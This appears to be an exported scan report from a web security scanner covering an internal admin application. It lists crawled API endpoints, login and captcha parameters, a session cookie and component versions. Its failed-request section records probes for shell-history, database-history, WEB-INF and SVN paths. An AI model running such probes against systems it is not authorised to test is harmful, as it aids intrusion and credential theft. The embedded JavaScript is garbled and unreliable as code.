https://10.249.2.1:8090/admin-api/chain/jfkh-jg/listByYjmclOrYjld
https://10.249.2.1:8090/admin-api/chain/jxjs/page
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_hyhg
https://10.249.2.1:8090/admin-api/chain/zf-zfbxx/page
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=zf_fylb
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_jkyjlx
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_clzt

https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_hygg
https://10.249.2.1:8090/admin-api/chain/jfkh/page
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/chain/zf-zjbxw/page
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=zf_fylb
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_jflx
https://10.249.2.1:8090/admin-api/chain/zf-kh-jkl/page
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/chain/jx/page
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/chain/jx/page
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_hygg
https://10.249.2.1:8090/admin-api/chain/jxs/page
https://10.249.2.1:8090/static/js/chunk-588ff6f6.0a0aa0d3.js
https://10.249.2.1:8090/static/js/chunk-5be386f4.3f1d5d4a.js
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/auth/sso-userinfo
https://10.249.2.1:8090/static/js/app.48db50d8.js
https://10.249.2.1:8090/static/js/app.48db50d8.js
https://10.249.2.1:8090/static/js/chunk-elementUI.d62674ab.js
https://10.249.2.1:8090/static/js/chunk-libs.6b2b21ef.js
https://10.249.2.1:8090/static/js/chunk-elementUI.d62674ab.js
https://10.249.2.1:8090/static/js/chunk-libs.6b2b21ef.js
https://10.249.2.1:8090/admin-api/system/auth/logout
https://10.249.2.1:8090/admin-api/system/tenant/get-id-by-name?name=从法科技
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/captcha/check
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/auth/login
https://10.249.2.1:8090/admin-api/system/auth/get-permission-info
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/chain/shouye/gzList
https://10.249.2.1:8090/admin-api/system/auth/logout
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/tenant/get-id-by-name?name=从法科技
https://10.249.2.1:8090/admin-api/system/captcha/check
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/captcha/check

https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/auth/login
https://10.249.2.1:8090/admin-api/system/auth/get-permission-info
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/chain/shouye/gzList

名称	值	URL	类型
id	C61871F8067EB211B9A8BAAC1B34635E	https://10.249.2.1:8090/admin-api/chain/jfkh-mc/getByld?id=C61871F8067EB211B9A8BAAC1B34635E	简单链接
->"captchaVerification"	3k6qZ1cutfc+RR/lkQ7rea7+krLpla+eY/V2RBrPZI6zuTNglEsgCJOobXizUAj1VlwLWXN4EcvXg4D5GY4+mQ==aX7NSejVGLruwEniQsB5WzgeUqjS9cTVlZRcHxVLe270YfdxiV8i9L0eg9sgVWcyqrWXfTFKHGYA4we86DpmQ==kX6dm0FFI7KOg1UYBxhOI4VN2BI0iOxPcbl+bckObj5xZ0AJ1eeP98h4VA8L2mtGZ0PokRLUmQcp/t3XcVLjA==	https://10.249.2.1:8090/admin-api/system/auth/login	JSON
->"pch"		https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"pageNo"	1	https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page	JSON
->"xm"		https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"pch"		https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page	JSON
->"pzrqe"		https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"password"	**CONFIDENTIAL 1**	https://10.249.2.1:8090/admin-api/system/auth/login	JSON
->"yjmcld"	C61871F8067EB211B9A8BAAC1B34635E	https://10.249.2.1:8090/admin-api/chain/jfkh-jg/listByYjmcldOrYjld	JSON
->"pzrqe"		https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"roles"	sfj_admin	https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"pageSize"	10	https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"yjld"	02D767F8067EB21153B0196C665C8177	https://10.249.2.1:8090/admin-api/chain/jfkh-jg/listByYjmcldOrYjld	JSON
->"pch"		https://10.249.2.1:8090/admin-api/chain/jfkh/page	JSON
->"tqjy"		https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON
->"pageNo"	1	https://10.249.2.1:8090/admin-api/chain/zf-zjbxw/page	JSON
->"pch"		https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"pageSize"	10	https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page	JSON
->"pageSize"	10	https://10.249.2.1:8090/admin-api/chain/shouye/gzList	JSON
->"clz"		https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"xm"		https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page	JSON
->"captchaType"	blockPuzzle	https://10.249.2.1:8090/admin-api/system/captcha/get	JSON
->"username"	WYnhQ41NCcv3rOkYOE3Uww==	https://10.249.2.1:8090/admin-api/system/auth/login	JSON
->"pch"		https://10.249.2.1:8090/admin-api/chain/zf-zjbxw/page	JSON
->"pzrqe"		https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page	JSON
->"jqmc"		https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page	JSON
->"pageNo"	1	https://10.249.2.1:8090/admin-api/chain/jx/page	JSON
->"clientUid"	null slider-5e3e5736-3dfc-4869-a124-9d4977b9d935 slider-304e8645-e681-4314-8da7-15dbbb840286 slider-d6af7708-3e6c-434b-97ee-c255935b9fd9	https://10.249.2.1:8090/admin-api/system/captcha/get	JSON
->"pageSize"	10	https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page	JSON
->"pch"		https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON
->"yjlb"	4 3	https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON
->"nd"		https://10.249.2.1:8090/admin-api/chain/jfkh/page	JSON
->"ah"		https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page	JSON
->"nd"		https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON

->"pageSize"	10	https://10.249.2.1:8090/admin-api/chain/zf-zjbx/page	JSON
->"roles"	sfj_admin	https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"lb"	1 2	https://10.249.2.1:8090/admin-api/chain/jx/page	JSON
pageSize	10	https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=zf_fylb	简单链接
->"pageNo"	1	https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"nd"		https://10.249.2.1:8090/admin-api/chain/jx/page	JSON
->"captchaType"	blockPuzzle	https://10.249.2.1:8090/admin-api/system/captcha/check	JSON
->"bqiy"		https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"pageNo"	6	https://10.249.2.1:8090/admin-api/chain/shouye/gzList	JSON
->"xm"		https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page	JSON
->"pageSize"	10	https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON
->"pzrqs"		https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"bqiy"		https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"pageNo"	1	https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"pageNo"	1	https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON
name	从法科技	https://10.249.2.1:8090/admin-api/system/tenant/get-id-by-name?name=从法科技	简单链接
->"pageSize"	10	https://10.249.2.1:8090/admin-api/chain/jfkh/page	JSON
->"yjlb"		https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"tqiy"		https://10.249.2.1:8090/admin-api/chain/jfkh/page	JSON
->"yjld"		https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page	JSON
->"zfbh"		https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"pzrqs"		https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"zfbh"		https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"hyjg"		https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON
->"clz"		https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"nd"		https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"pch"		https://10.249.2.1:8090/admin-api/chain/jx/page	JSON
->"token"	168228b73db54db2a0a71b39d58b7e38 c56b55e4b3414aeba9beaba54aaff329 dcf37cf57b784e7ab0e0aa379fc3d2e1 0c50231513284dbea7dbf4066dd5ada0	https://10.249.2.1:8090/admin-api/system/captcha/check	JSON
->"tqrqs"		https://10.249.2.1:8090/admin-api/chain/jx/page	JSON
->"zfbh"		https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page	JSON
->"yjlb"	1	https://10.249.2.1:8090/admin-api/chain/jfkh/page	JSON
->"ts"	1773713376518 1773713394410 1773713394912 1773713997368 1773714013213 ...	https://10.249.2.1:8090/admin-api/system/captcha/get	JSON
id	993	https://10.249.2.1:8090/admin-api/system/user/get?id=993	简单链接
->"hyjg"		https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page	JSON
->"pageNo"	1	https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page	JSON
->"pageNo"	1	https://10.249.2.1:8090/admin-api/chain/jfkh/page	JSON
->"tqrqs"		https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON
->"pageSize"	10	https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"xm"		https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"lb"	2 1	https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON
->"pch"	202505	https://10.249.2.1:8090/admin-api/chain/shouye/gzList	JSON
->"tqrqe"		https://10.249.2.1:8090/admin-api/chain/jfkh/page	JSON
->"zfbh"		https://10.249.2.1:8090/admin-api/chain/zf-zjbx/page	JSON
->"pageSize"	10	https://10.249.2.1:8090/admin-api/chain/jx/page	JSON
->"zfbh"		https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page	JSON

->"xm"		https://10.249.2.1:8090/admin-api/chain/zf-zfjbx/page	JSON
->"tqrqs"		https://10.249.2.1:8090/admin-api/chain/jfkh/page	JSON
->"jflb"		https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page	JSON
dictType	zf_fylb xt_jxsysjlx xt_clzt xt_hyjg xt_jkyjlx ...	https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=zf_fylb	简单 链接
->"hyjg"		https://10.249.2.1:8090/admin-api/chain/jfkh/page	JSON
pageNo	1	https://10.249.2.1:8090/admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=zf_fylb	简单 链接
->"tqrqe"		https://10.249.2.1:8090/admin-api/chain/jx/page	JSON
->"tqjy"		https://10.249.2.1:8090/admin-api/chain/jx/page	JSON
->"lb"	1	https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	JSON
->"pointJson"	cARvdrwKTOlrJIHmalERSB/Gbpch3/WWhcYcHQ4jQJw=F6A9CjHtrOLDT8RO62kw9M5DNbXnn814r6vYo9Auus=ocDOQIWRWQFVIX6lw6Ynayo4bTLUYqRGcy9g5vNpMAY=sRFI4qojGW33lptaK+v7FY3e5uCyT1JIPYWOondT4EY=	https://10.249.2.1:8090/admin-api/system/captcha/check	JSON
->"tqrqe"		https://10.249.2.1:8090/admin-api/chain/jxs/page	JSON
->"jflb"		https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page	JSON
->"pzrqs"		https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page	JSON

失败的请求 11

TOC

URL	原因
https://10.249.2.1:8090/examples/web-inf/	响应状态“403” — 禁止
https://10.249.2.1:8090/WEB-INF/	定制错误页面
https://10.249.2.1:8090/new folder (2)/	响应状态“403” — 禁止
https://10.249.2.1:8090/new folder (3)/	响应状态“403” — 禁止
https://10.249.2.1:8090/html/	响应状态“403” — 禁止
https://10.249.2.1:8090/static/	响应状态“403” — 禁止
https://10.249.2.1:8090/sh_history/	定制错误页面
https://10.249.2.1:8090/svn/	响应状态“403” — 禁止
https://10.249.2.1:8090/bashrc/	响应状态“403” — 禁止
https://10.249.2.1:8090/gi/	响应状态“403” — 禁止
https://10.249.2.1:8090/mysql_history/	响应状态“403” — 禁止

已过滤的 URL 29

TOC

URL	原因
https://10.249.2.1:8090/	类似主体
https://10.249.2.1:8090/favicon.png	文件扩展名
https://10.249.2.1:8090/static/css/chunk-libs.763ea62a.css	文件扩展名
https://10.249.2.1:8090/static/css/app.01fd26ae.css	文件扩展名
https://10.249.2.1:8090/	类似 DOM
https://10.249.2.1:8090/	类似 DOM
https://lib.baomitu.com/	未测试的 Web Server
https://10.249.2.1:8090/lib/theme-chalk/index.css	文件扩展名
http://www.w3.org/2000/svg	未测试的 Web Server
http://www.w3.org/2000/xmlns/	未测试的 Web Server

http://www.w3.org/1999/xlink	未测试的 Web Server
http://svgsjs.com/svgsjs	未测试的 Web Server
http://www.w3.org/XML/1998/namespace	未测试的 Web Server
http://www.w3.org/2001/XMLSchema-instance	未测试的 Web Server
http://www.omg.org/spec/BPMN/20100524/MODEL	未测试的 Web Server
http://www.omg.org/spec/BPMN/20100524/DI	未测试的 Web Server
http://www.omg.org/spec/DD/20100524/DC	未测试的 Web Server
http://www.omg.org/spec/DD/20100524/DI	未测试的 Web Server
http://bpmn.io/schema/bpmn/bicolor/1.0	未测试的 Web Server
http://www.omg.org/spec/BPMN/non-normative/color/1.0	未测试的 Web Server
http://a/	未测试的 Web Server
https://a:@b/	未测试的 Web Server
http://rect/	未测试的 Web Server
http://a/	未测试的 Web Server
http://x/	未测试的 Web Server
https://10.249.2.1:8090/index	类似主体
https://10.249.2.1:8090/WEB-INF/favicon.png	文件扩展名
https://10.249.2.1:8090/_sh_history/favicon.png	文件扩展名
https://10.249.2.1:8090/index	类似 DOM

注释 2

TOC

URL	注释
https://10.249.2.1:8090/	<!DOCTYPE html>
https://10.249.2.1:8090/	[if lt IE 11]><script>window.location.href='html/ie.html';</script><![endif]

JavaScript 6

TOC

URL / 代码
https://10.249.2.1:8090/

```
(function(e){function n(n){for(var c,r,o=n[0],f=n[1],h=n[2],d=0,i=[];d<o.length;d++)r=o[d],Object.prototype.hasOwnProperty.call(u,r)&&i.push(u[r][0]),u[r]=0;for(c in f)Object.prototype.hasOwnProperty.call(f,c)&&(e[c]=f[c]);s&&s(n);while(i.length)i.shift();return a.push.apply(a,h||[]),t()}function t(){for(var e,n=0;n<a.length;n++){for(var t=a[n],c=10,r=1;r<t.length;r++){var o=t[r];0!==u[o]&&(c=1)}c&&(a.splice(n--,1),e=f(f.s=t[0]))}return e}var c={},r={runtime:0},u={runtime:0},a=[];function o(e){return f.p?"static/js/"+(("chunk-commons":"chunk-commons")|e)|e)+"."+("chunk-2d0e2366":"b6a19fa3","chunk-8fb11964":"08c1d281","chunk-39b8b86e":"2a79a915","chunk-404b231c":"aabb9f2a","chunk-4129639f":"ce1d93e3","chunk-427efbea":"6e9506af","chunk-5624e1ea":"3d0fca8f","chunk-5be386f4":"3f1d5d4a","chunk-3e36c752":"bb804c75","chunk-588ff6f6":"0a0aa0d3","chunk-7c793e1a":"c65bd34a","chunk-commons":"5d1adb8","chunk-05a5d1d0":"67c7ea8d","chunk-3f777dd2":"ee3ae180","chunk-214fa04a":"c2ac3211","chunk-34b49445":"be3624b7","chunk-f247375c":"7e3b0d41")|e)+"_js")}function f(n){if(c[n])return c[n].exports;var t=c[n]={i:n,l:!1,exports:{}};return e[n].call(t.exports,t,t.exports,f),t.l=!0,t.exports}f=function(e){var n=[],t=("chunk-8fb11964":1,"chunk-39b8b86e":1,"chunk-4129639f":1,"chunk-427efbea":1,"chunk-3e36c752":1,"chunk-588ff6f6":1,"chunk-commons":1,"chunk-05a5d1d0":1,"chunk-3f777dd2":1,"chunk-214fa04a":1,"chunk-34b49445":1,"chunk-f247375c":1);r[e]?n.push(r[e]):!==(e|t)&&t[e]&&n.push(r[e]=new Promise((function(n,t){for(var c="static/css/"+(("chunk-commons":"chunk-commons")|e)|e)+"."+("chunk-2d0e2366":"31d6cfe0","chunk-8fb11964":"7fab5bb0","chunk-39b8b86e":"ea54945c","chunk-404b231c":"31d6cfe0","chunk-4129639f":"bbc9fa95","chunk-427efbea":"6fad9d09","chunk-5624e1ea":"31d6cfe0","chunk-5be386f4":"31d6cfe0","chunk-3e36c752":"a9ea8219","chunk-588ff6f6":"36004ac6","chunk-7c793e1a":"31d6cfe0","chunk-commons":"31c9ba41","chunk-05a5d1d0":"ee5ccf69","chunk-3f777dd2":"9608ee52","chunk-214fa04a":"ebc9e25a","chunk-34b49445":"f414f94f","chunk-f247375c":"2f5f0200")|e)+"_css"),u=f.p,c=document.createElement("link"),o=0;o<a.length;o++){var h=a[o],d=h.getAttribute("data-href")||h.getAttribute("href");if("stylesheet"===h.rel&&(d=c|d===u))return n()}var i=document.getElementsByTagName("style");for(o=0;o<i.length;o++){h=i[o],d=h.getAttribute("data-href");if(d=c|d===u)return n()}var s=document.createElement("link");s.rel="stylesheet",s.type="text/css",s.onload=n,s.onerror=function(n){var c=n&&n.target&&n.target.src||u,a=new Error("Loading CSS chunk "+e+" failed.\n("+c+")");a.code="CSS_CHUNK_LOAD_FAILED",a.request=c,delete r[e],s.parentNode.removeChild(s),t(a),s.href=u;var l=document.getElementsByTagName("head")[0];l.appendChild(s)}}).then((function(){r[e]=0})))&&var c=u;if(0===c)if(c)n.push(c[2]);else(var a=new Promise((function(n,t){c=u[e]=[n,t]})),n.push(c[2]=a);var h,d=document.createElement("script"),d.charset="utf-8",d.timeout=120,f.nc&&d.setAttribute("nonce",f.nc),d.src=o(e);var i=new Error;h=function(n){d.onerror=d.onload=null,clearTimeout(s);var t=u[e];if(0!==t){if(t){var c=n&&("load"===n.type?"missing":n.type),r=n&&n.target&&n.target.src;i.message="Loading chunk "+e+" failed.\n("+c+")";i.name="ChunkLoadError",i.type=c,i.request=t[1](i)|u[e]=void 0);var s=setTimeout((function(){h({type:"timeout",target:d})),12e4);d.onerror=d.onload=h,document.head.appendChild(d)}return Promise.all(n)},f.m=e,f.c=c,f.d=function(e,n,t){f.o(e,n)||Object.defineProperty(e,n,"esModule",{value:!0}),f.t=function(e,n){if(!n&&(e=f(e)),8&n)return e;if(4&n&&"object"===typeof e&&e.esModule)return e;var t=Object.create(null);if(f.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"===typeof e)for(var c in e)f.d(t,c,function(n){return e[n]}.bind(null,c));return t},f.n=function(e){var n=e&&e.esModule?function(){return e["default"]}():function(){return e};return f.d(n,"a",n),f.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},f.p="","",f.o=function(e){throw console.error(e),e};var h=window["webpackJsonp"]=window["webpackJsonp"]||[],d=h.push.bind(h);h.push=h,h.slice();for(var i=0;i<h.length;i++)n(h[i]);var s=d;t()})({})};
```

https://10.249.2.1:8090/static/js/chunk-588ff6f6.0a0aa0d3.js

https://10.249.2.1:8090/static/js/chunk-elementUI.d62674ab.js

https://10.249.2.1:8090/static/js/chunk-libs.6b2b21ef.js

2026/3/17

cookie 1

TOC

名称	首先设置	域	安全	仅 HTTP	同一站点	JS 堆栈跟踪
值	请求的 URL	到期				
JSESSIONID	https://10.249.2.1:8090/admin-api/system/auth/sso-userinfo	10.249.2.1	False	False		
node0gv76ih8jc9dzb1pj0q0p2drk260.node0	https://10.249.2.1:8090/admin-api/system/auth/logout					

组件 2

TOC

名称	版本	URL
Moment	2.30.1	https://10.249.2.1:8090/static/js/chunk-libs.6b2b21ef.js
Nginx	1.27.2	https://10.249.2.1:8090/admin-api/system/auth/logout